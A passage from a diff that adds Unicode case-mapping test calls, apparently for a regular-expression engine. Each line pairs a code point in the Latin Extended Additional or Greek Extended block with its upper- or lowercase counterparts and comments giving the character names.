+test(0x1E56, 0x1E57); // LATIN CAPITAL LETTER P WITH DOT ABOVE, LATIN SMALL LETTER P WITH DOT ABOVE
+test(0x1E57, 0x1E56); // LATIN SMALL LETTER P WITH DOT ABOVE, LATIN CAPITAL LETTER P WITH DOT ABOVE
+test(0x1E58, 0x1E59); // LATIN CAPITAL LETTER R WITH DOT ABOVE, LATIN SMALL LETTER R WITH DOT ABOVE
+test(0x1E59, 0x1E58); // LATIN SMALL LETTER R WITH DOT ABOVE, LATIN CAPITAL LETTER R WITH DOT ABOVE
+test(0x1E5A, 0x1E5B); // LATIN CAPITAL LETTER R WITH DOT BELOW, LATIN SMALL LETTER R WITH DOT BELOW
+test(0x1E5B, 0x1E5A); // LATIN SMALL LETTER R WITH DOT BELOW, LATIN CAPITAL LETTER R WITH DOT BELOW
+test(0x1E5C, 0x1E5D); // LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON, LATIN SMALL LETTER R WITH DOT BELOW AND MACRON
+test(0x1E5D, 0x1E5C); // LATIN SMALL LETTER R WITH DOT BELOW AND MACRON, LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON
+test(0x1E5E, 0x1E5F); // LATIN CAPITAL LETTER R WITH LINE BELOW, LATIN SMALL LETTER R WITH LINE BELOW
+test(0x1E5F, 0x1E5E); // LATIN SMALL LETTER R WITH LINE BELOW, LATIN CAPITAL LETTER R WITH LINE BELOW
+test(0x1E60, 0x1E61, 0x1E9B); // LATIN CAPITAL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE
+test(0x1E61, 0x1E60, 0x1E9B); // LATIN SMALL LETTER S WITH DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE
+test(0x1E62, 0x1E63); // LATIN CAPITAL LETTER S WITH DOT BELOW, LATIN SMALL LETTER S WITH DOT BELOW
+test(0x1E63, 0x1E62); // LATIN SMALL LETTER S WITH DOT BELOW, LATIN CAPITAL LETTER S WITH DOT BELOW
+test(0x1E64, 0x1E65); // LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE, LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE
+test(0x1E65, 0x1E64); // LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE, LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE
+test(0x1E66, 0x1E67); // LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE, LATIN SMALL LETTER S WITH CARON AND DOT ABOVE
+test(0x1E67, 0x1E66); // LATIN SMALL LETTER S WITH CARON AND DOT ABOVE, LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE
+test(0x1E68, 0x1E69); // LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE, LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+test(0x1E69, 0x1E68); // LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE
+test(0x1E6A, 0x1E6B); // LATIN CAPITAL LETTER T WITH DOT ABOVE, LATIN SMALL LETTER T WITH DOT ABOVE
+test(0x1E6B, 0x1E6A); // LATIN SMALL LETTER T WITH DOT ABOVE, LATIN CAPITAL LETTER T WITH DOT ABOVE
+test(0x1E6C, 0x1E6D); // LATIN CAPITAL LETTER T WITH DOT BELOW, LATIN SMALL LETTER T WITH DOT BELOW
+test(0x1E6D, 0x1E6C); // LATIN SMALL LETTER T WITH DOT BELOW, LATIN CAPITAL LETTER T WITH DOT BELOW
+test(0x1E6E, 0x1E6F); // LATIN CAPITAL LETTER T WITH LINE BELOW, LATIN SMALL LETTER T WITH LINE BELOW
+test(0x1E6F, 0x1E6E); // LATIN SMALL LETTER T WITH LINE BELOW, LATIN CAPITAL LETTER T WITH LINE BELOW
+test(0x1E70, 0x1E71); // LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW
+test(0x1E71, 0x1E70); // LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW
+test(0x1E72, 0x1E73); // LATIN CAPITAL LETTER U WITH DIAERESIS BELOW, LATIN SMALL LETTER U WITH DIAERESIS BELOW
+test(0x1E73, 0x1E72); // LATIN SMALL LETTER U WITH DIAERESIS BELOW, LATIN CAPITAL LETTER U WITH DIAERESIS BELOW
+test(0x1E74, 0x1E75); // LATIN CAPITAL LETTER U WITH TILDE BELOW, LATIN SMALL LETTER U WITH TILDE BELOW
+test(0x1E75, 0x1E74); // LATIN SMALL LETTER U WITH TILDE BELOW, LATIN CAPITAL LETTER U WITH TILDE BELOW
+test(0x1E76, 0x1E77); // LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW
+test(0x1E77, 0x1E76); // LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW
+test(0x1E78, 0x1E79); // LATIN CAPITAL LETTER U WITH TILDE AND ACUTE, LATIN SMALL LETTER U WITH TILDE AND ACUTE
+test(0x1E79, 0x1E78); // LATIN SMALL LETTER U WITH TILDE AND ACUTE, LATIN CAPITAL LETTER U WITH TILDE AND ACUTE
+test(0x1E7A, 0x1E7B); // LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS, LATIN SMALL LETTER U WITH MACRON AND DIAERESIS
+test(0x1E7B, 0x1E7A); // LATIN SMALL LETTER U WITH MACRON AND DIAERESIS, LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS
+test(0x1E7C, 0x1E7D); // LATIN CAPITAL LETTER V WITH TILDE, LATIN SMALL LETTER V WITH TILDE
+test(0x1E7D, 0x1E7C); // LATIN SMALL LETTER V WITH TILDE, LATIN CAPITAL LETTER V WITH TILDE
+test(0x1E7E, 0x1E7F); // LATIN CAPITAL LETTER V WITH DOT BELOW, LATIN SMALL LETTER V WITH DOT BELOW
+test(0x1E7F, 0x1E7E); // LATIN SMALL LETTER V WITH DOT BELOW, LATIN CAPITAL LETTER V WITH DOT BELOW
+test(0x1E80, 0x1E81); // LATIN CAPITAL LETTER W WITH GRAVE, LATIN SMALL LETTER W WITH GRAVE
+test(0x1E81, 0x1E80); // LATIN SMALL LETTER W WITH GRAVE, LATIN CAPITAL LETTER W WITH GRAVE
+test(0x1E82, 0x1E83); // LATIN CAPITAL LETTER W WITH ACUTE, LATIN SMALL LETTER W WITH ACUTE
+test(0x1E83, 0x1E82); // LATIN SMALL LETTER W WITH ACUTE, LATIN CAPITAL LETTER W WITH ACUTE
+test(0x1E84, 0x1E85); // LATIN CAPITAL LETTER W WITH DIAERESIS, LATIN SMALL LETTER W WITH DIAERESIS
+test(0x1E85, 0x1E84); // LATIN SMALL LETTER W WITH DIAERESIS, LATIN CAPITAL LETTER W WITH DIAERESIS
+test(0x1E86, 0x1E87); // LATIN CAPITAL LETTER W WITH DOT ABOVE, LATIN SMALL LETTER W WITH DOT ABOVE
+test(0x1E87, 0x1E86); // LATIN SMALL LETTER W WITH DOT ABOVE, LATIN CAPITAL LETTER W WITH DOT ABOVE
+test(0x1E88, 0x1E89); // LATIN CAPITAL LETTER W WITH DOT BELOW, LATIN SMALL LETTER W WITH DOT BELOW
+test(0x1E89, 0x1E88); // LATIN SMALL LETTER W WITH DOT BELOW, LATIN CAPITAL LETTER W WITH DOT BELOW
+test(0x1E8A, 0x1E8B); // LATIN CAPITAL LETTER X WITH DOT ABOVE, LATIN SMALL LETTER X WITH DOT ABOVE
+test(0x1E8B, 0x1E8A); // LATIN SMALL LETTER X WITH DOT ABOVE, LATIN CAPITAL LETTER X WITH DOT ABOVE
+test(0x1E8C, 0x1E8D); // LATIN CAPITAL LETTER X WITH DIAERESIS, LATIN SMALL LETTER X WITH DIAERESIS
+test(0x1E8D, 0x1E8C); // LATIN SMALL LETTER X WITH DIAERESIS, LATIN CAPITAL LETTER X WITH DIAERESIS
+test(0x1E8E, 0x1E8F); // LATIN CAPITAL LETTER Y WITH DOT ABOVE, LATIN SMALL LETTER Y WITH DOT ABOVE
+test(0x1E8F, 0x1E8E); // LATIN SMALL LETTER Y WITH DOT ABOVE, LATIN CAPITAL LETTER Y WITH DOT ABOVE
+test(0x1E90, 0x1E91); // LATIN CAPITAL LETTER Z WITH CIRCUMFLEX, LATIN SMALL LETTER Z WITH CIRCUMFLEX
+test(0x1E91, 0x1E90); // LATIN SMALL LETTER Z WITH CIRCUMFLEX, LATIN CAPITAL LETTER Z WITH CIRCUMFLEX
+test(0x1E92, 0x1E93); // LATIN CAPITAL LETTER Z WITH DOT BELOW, LATIN SMALL LETTER Z WITH DOT BELOW
+test(0x1E93, 0x1E92); // LATIN SMALL LETTER Z WITH DOT BELOW, LATIN CAPITAL LETTER Z WITH DOT BELOW
+test(0x1E94, 0x1E95); // LATIN CAPITAL LETTER Z WITH LINE BELOW, LATIN SMALL LETTER Z WITH LINE BELOW
+test(0x1E95, 0x1E94); // LATIN SMALL LETTER Z WITH LINE BELOW, LATIN CAPITAL LETTER Z WITH LINE BELOW
+test(0x1E9B, 0x1E61, 0x1E60); // LATIN SMALL LETTER LONG S WITH DOT ABOVE, LATIN SMALL LETTER S WITH DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT ABOVE
+test(0x1E9E, 0x00DF); // LATIN CAPITAL LETTER SHARP S, LATIN SMALL LETTER SHARP S
+test(0x1EA0, 0x1EA1); // LATIN CAPITAL LETTER A WITH DOT BELOW, LATIN SMALL LETTER A WITH DOT BELOW
+test(0x1EA1, 0x1EA0); // LATIN SMALL LETTER A WITH DOT BELOW, LATIN CAPITAL LETTER A WITH DOT BELOW
+test(0x1EA2, 0x1EA3); // LATIN CAPITAL LETTER A WITH HOOK ABOVE, LATIN SMALL LETTER A WITH HOOK ABOVE
+test(0x1EA3, 0x1EA2); // LATIN SMALL LETTER A WITH HOOK ABOVE, LATIN CAPITAL LETTER A WITH HOOK ABOVE
+test(0x1EA4, 0x1EA5); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+test(0x1EA5, 0x1EA4); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+test(0x1EA6, 0x1EA7); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+test(0x1EA7, 0x1EA6); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+test(0x1EA8, 0x1EA9); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EA9, 0x1EA8); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EAA, 0x1EAB); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+test(0x1EAB, 0x1EAA); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+test(0x1EAC, 0x1EAD); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EAD, 0x1EAC); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EAE, 0x1EAF); // LATIN CAPITAL LETTER A WITH BREVE AND ACUTE, LATIN SMALL LETTER A WITH BREVE AND ACUTE
+test(0x1EAF, 0x1EAE); // LATIN SMALL LETTER A WITH BREVE AND ACUTE, LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+test(0x1EB0, 0x1EB1); // LATIN CAPITAL LETTER A WITH BREVE AND GRAVE, LATIN SMALL LETTER A WITH BREVE AND GRAVE
+test(0x1EB1, 0x1EB0); // LATIN SMALL LETTER A WITH BREVE AND GRAVE, LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+test(0x1EB2, 0x1EB3); // LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE, LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+test(0x1EB3, 0x1EB2); // LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE, LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+test(0x1EB4, 0x1EB5); // LATIN CAPITAL LETTER A WITH BREVE AND TILDE, LATIN SMALL LETTER A WITH BREVE AND TILDE
+test(0x1EB5, 0x1EB4); // LATIN SMALL LETTER A WITH BREVE AND TILDE, LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+test(0x1EB6, 0x1EB7); // LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW, LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+test(0x1EB7, 0x1EB6); // LATIN SMALL LETTER A WITH BREVE AND DOT BELOW, LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+test(0x1EB8, 0x1EB9); // LATIN CAPITAL LETTER E WITH DOT BELOW, LATIN SMALL LETTER E WITH DOT BELOW
+test(0x1EB9, 0x1EB8); // LATIN SMALL LETTER E WITH DOT BELOW, LATIN CAPITAL LETTER E WITH DOT BELOW
+test(0x1EBA, 0x1EBB); // LATIN CAPITAL LETTER E WITH HOOK ABOVE, LATIN SMALL LETTER E WITH HOOK ABOVE
+test(0x1EBB, 0x1EBA); // LATIN SMALL LETTER E WITH HOOK ABOVE, LATIN CAPITAL LETTER E WITH HOOK ABOVE
+test(0x1EBC, 0x1EBD); // LATIN CAPITAL LETTER E WITH TILDE, LATIN SMALL LETTER E WITH TILDE
+test(0x1EBD, 0x1EBC); // LATIN SMALL LETTER E WITH TILDE, LATIN CAPITAL LETTER E WITH TILDE
+test(0x1EBE, 0x1EBF); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+test(0x1EBF, 0x1EBE); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+test(0x1EC0, 0x1EC1); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+test(0x1EC1, 0x1EC0); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+test(0x1EC2, 0x1EC3); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EC3, 0x1EC2); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EC4, 0x1EC5); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+test(0x1EC5, 0x1EC4); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+test(0x1EC6, 0x1EC7); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EC7, 0x1EC6); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EC8, 0x1EC9); // LATIN CAPITAL LETTER I WITH HOOK ABOVE, LATIN SMALL LETTER I WITH HOOK ABOVE
+test(0x1EC9, 0x1EC8); // LATIN SMALL LETTER I WITH HOOK ABOVE, LATIN CAPITAL LETTER I WITH HOOK ABOVE
+test(0x1ECA, 0x1ECB); // LATIN CAPITAL LETTER I WITH DOT BELOW, LATIN SMALL LETTER I WITH DOT BELOW
+test(0x1ECB, 0x1ECA); // LATIN SMALL LETTER I WITH DOT BELOW, LATIN CAPITAL LETTER I WITH DOT BELOW
+test(0x1ECC, 0x1ECD); // LATIN CAPITAL LETTER O WITH DOT BELOW, LATIN SMALL LETTER O WITH DOT BELOW
+test(0x1ECD, 0x1ECC); // LATIN SMALL LETTER O WITH DOT BELOW, LATIN CAPITAL LETTER O WITH DOT BELOW
+test(0x1ECE, 0x1ECF); // LATIN CAPITAL LETTER O WITH HOOK ABOVE, LATIN SMALL LETTER O WITH HOOK ABOVE
+test(0x1ECF, 0x1ECE); // LATIN SMALL LETTER O WITH HOOK ABOVE, LATIN CAPITAL LETTER O WITH HOOK ABOVE
+test(0x1ED0, 0x1ED1); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+test(0x1ED1, 0x1ED0); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+test(0x1ED2, 0x1ED3); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+test(0x1ED3, 0x1ED2); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+test(0x1ED4, 0x1ED5); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1ED5, 0x1ED4); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1ED6, 0x1ED7); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+test(0x1ED7, 0x1ED6); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+test(0x1ED8, 0x1ED9); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+test(0x1ED9, 0x1ED8); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EDA, 0x1EDB); // LATIN CAPITAL LETTER O WITH HORN AND ACUTE, LATIN SMALL LETTER O WITH HORN AND ACUTE
+test(0x1EDB, 0x1EDA); // LATIN SMALL LETTER O WITH HORN AND ACUTE, LATIN CAPITAL LETTER O WITH HORN AND ACUTE
+test(0x1EDC, 0x1EDD); // LATIN CAPITAL LETTER O WITH HORN AND GRAVE, LATIN SMALL LETTER O WITH HORN AND GRAVE
+test(0x1EDD, 0x1EDC); // LATIN SMALL LETTER O WITH HORN AND GRAVE, LATIN CAPITAL LETTER O WITH HORN AND GRAVE
+test(0x1EDE, 0x1EDF); // LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE, LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
+test(0x1EDF, 0x1EDE); // LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE, LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
+test(0x1EE0, 0x1EE1); // LATIN CAPITAL LETTER O WITH HORN AND TILDE, LATIN SMALL LETTER O WITH HORN AND TILDE
+test(0x1EE1, 0x1EE0); // LATIN SMALL LETTER O WITH HORN AND TILDE, LATIN CAPITAL LETTER O WITH HORN AND TILDE
+test(0x1EE2, 0x1EE3); // LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW, LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+test(0x1EE3, 0x1EE2); // LATIN SMALL LETTER O WITH HORN AND DOT BELOW, LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+test(0x1EE4, 0x1EE5); // LATIN CAPITAL LETTER U WITH DOT BELOW, LATIN SMALL LETTER U WITH DOT BELOW
+test(0x1EE5, 0x1EE4); // LATIN SMALL LETTER U WITH DOT BELOW, LATIN CAPITAL LETTER U WITH DOT BELOW
+test(0x1EE6, 0x1EE7); // LATIN CAPITAL LETTER U WITH HOOK ABOVE, LATIN SMALL LETTER U WITH HOOK ABOVE
+test(0x1EE7, 0x1EE6); // LATIN SMALL LETTER U WITH HOOK ABOVE, LATIN CAPITAL LETTER U WITH HOOK ABOVE
+test(0x1EE8, 0x1EE9); // LATIN CAPITAL LETTER U WITH HORN AND ACUTE, LATIN SMALL LETTER U WITH HORN AND ACUTE
+test(0x1EE9, 0x1EE8); // LATIN SMALL LETTER U WITH HORN AND ACUTE, LATIN CAPITAL LETTER U WITH HORN AND ACUTE
+test(0x1EEA, 0x1EEB); // LATIN CAPITAL LETTER U WITH HORN AND GRAVE, LATIN SMALL LETTER U WITH HORN AND GRAVE
+test(0x1EEB, 0x1EEA); // LATIN SMALL LETTER U WITH HORN AND GRAVE, LATIN CAPITAL LETTER U WITH HORN AND GRAVE
+test(0x1EEC, 0x1EED); // LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE, LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
+test(0x1EED, 0x1EEC); // LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE, LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
+test(0x1EEE, 0x1EEF); // LATIN CAPITAL LETTER U WITH HORN AND TILDE, LATIN SMALL LETTER U WITH HORN AND TILDE
+test(0x1EEF, 0x1EEE); // LATIN SMALL LETTER U WITH HORN AND TILDE, LATIN CAPITAL LETTER U WITH HORN AND TILDE
+test(0x1EF0, 0x1EF1); // LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW, LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+test(0x1EF1, 0x1EF0); // LATIN SMALL LETTER U WITH HORN AND DOT BELOW, LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+test(0x1EF2, 0x1EF3); // LATIN CAPITAL LETTER Y WITH GRAVE, LATIN SMALL LETTER Y WITH GRAVE
+test(0x1EF3, 0x1EF2); // LATIN SMALL LETTER Y WITH GRAVE, LATIN CAPITAL LETTER Y WITH GRAVE
+test(0x1EF4, 0x1EF5); // LATIN CAPITAL LETTER Y WITH DOT BELOW, LATIN SMALL LETTER Y WITH DOT BELOW
+test(0x1EF5, 0x1EF4); // LATIN SMALL LETTER Y WITH DOT BELOW, LATIN CAPITAL LETTER Y WITH DOT BELOW
+test(0x1EF6, 0x1EF7); // LATIN CAPITAL LETTER Y WITH HOOK ABOVE, LATIN SMALL LETTER Y WITH HOOK ABOVE
+test(0x1EF7, 0x1EF6); // LATIN SMALL LETTER Y WITH HOOK ABOVE, LATIN CAPITAL LETTER Y WITH HOOK ABOVE
+test(0x1EF8, 0x1EF9); // LATIN CAPITAL LETTER Y WITH TILDE, LATIN SMALL LETTER Y WITH TILDE
+test(0x1EF9, 0x1EF8); // LATIN SMALL LETTER Y WITH TILDE, LATIN CAPITAL LETTER Y WITH TILDE
+test(0x1EFA, 0x1EFB); // LATIN CAPITAL LETTER MIDDLE-WELSH LL, LATIN SMALL LETTER MIDDLE-WELSH LL
+test(0x1EFB, 0x1EFA); // LATIN SMALL LETTER MIDDLE-WELSH LL, LATIN CAPITAL LETTER MIDDLE-WELSH LL
+test(0x1EFC, 0x1EFD); // LATIN CAPITAL LETTER MIDDLE-WELSH V, LATIN SMALL LETTER MIDDLE-WELSH V
+test(0x1EFD, 0x1EFC); // LATIN SMALL LETTER MIDDLE-WELSH V, LATIN CAPITAL LETTER MIDDLE-WELSH V
+test(0x1EFE, 0x1EFF); // LATIN CAPITAL LETTER Y WITH LOOP, LATIN SMALL LETTER Y WITH LOOP
+test(0x1EFF, 0x1EFE); // LATIN SMALL LETTER Y WITH LOOP, LATIN CAPITAL LETTER Y WITH LOOP
+test(0x1F00, 0x1F08); // GREEK SMALL LETTER ALPHA WITH PSILI, GREEK CAPITAL LETTER ALPHA WITH PSILI
+test(0x1F01, 0x1F09); // GREEK SMALL LETTER ALPHA WITH DASIA, GREEK CAPITAL LETTER ALPHA WITH DASIA
+test(0x1F02, 0x1F0A); // GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA, GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA
+test(0x1F03, 0x1F0B); // GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA, GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA
+test(0x1F04, 0x1F0C); // GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA, GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA
+test(0x1F05, 0x1F0D); // GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA, GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA
+test(0x1F06, 0x1F0E); // GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI
+test(0x1F07, 0x1F0F); // GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI
+test(0x1F08, 0x1F00); // GREEK CAPITAL LETTER ALPHA WITH PSILI, GREEK SMALL LETTER ALPHA WITH PSILI
+test(0x1F09, 0x1F01); // GREEK CAPITAL LETTER ALPHA WITH DASIA, GREEK SMALL LETTER ALPHA WITH DASIA
+test(0x1F0A, 0x1F02); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA, GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA
+test(0x1F0B, 0x1F03); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA, GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA
+test(0x1F0C, 0x1F04); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA, GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA
+test(0x1F0D, 0x1F05); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA, GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA
+test(0x1F0E, 0x1F06); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI
+test(0x1F0F, 0x1F07); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI
+test(0x1F10, 0x1F18); // GREEK SMALL LETTER EPSILON WITH PSILI, GREEK CAPITAL LETTER EPSILON WITH PSILI
+test(0x1F11, 0x1F19); // GREEK SMALL LETTER EPSILON WITH DASIA, GREEK CAPITAL LETTER EPSILON WITH DASIA
+test(0x1F12, 0x1F1A); // GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA, GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA
+test(0x1F13, 0x1F1B); // GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA, GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA
+test(0x1F14, 0x1F1C); // GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA, GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA
+test(0x1F15, 0x1F1D); // GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA, GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+test(0x1F18, 0x1F10); // GREEK CAPITAL LETTER EPSILON WITH PSILI, GREEK SMALL LETTER EPSILON WITH PSILI
+test(0x1F19, 0x1F11); // GREEK CAPITAL LETTER EPSILON WITH DASIA, GREEK SMALL LETTER EPSILON WITH DASIA
+test(0x1F1A, 0x1F12); // GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA, GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA
+test(0x1F1B, 0x1F13); // GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA, GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA
+test(0x1F1C, 0x1F14); // GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA, GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA
+test(0x1F1D, 0x1F15); // GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA, GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+test(0x1F20, 0x1F28); // GREEK SMALL LETTER ETA WITH PSILI, GREEK CAPITAL LETTER ETA WITH PSILI
+test(0x1F21, 0x1F29); // GREEK SMALL LETTER ETA WITH DASIA, GREEK CAPITAL LETTER ETA WITH DASIA
+test(0x1F22, 0x1F2A); // GREEK SMALL LETTER ETA WITH PSILI AND VARIA, GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA
+test(0x1F23, 0x1F2B); // GREEK SMALL LETTER ETA WITH DASIA AND VARIA, GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA
+test(0x1F24, 0x1F2C); // GREEK SMALL LETTER ETA WITH PSILI AND OXIA, GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA
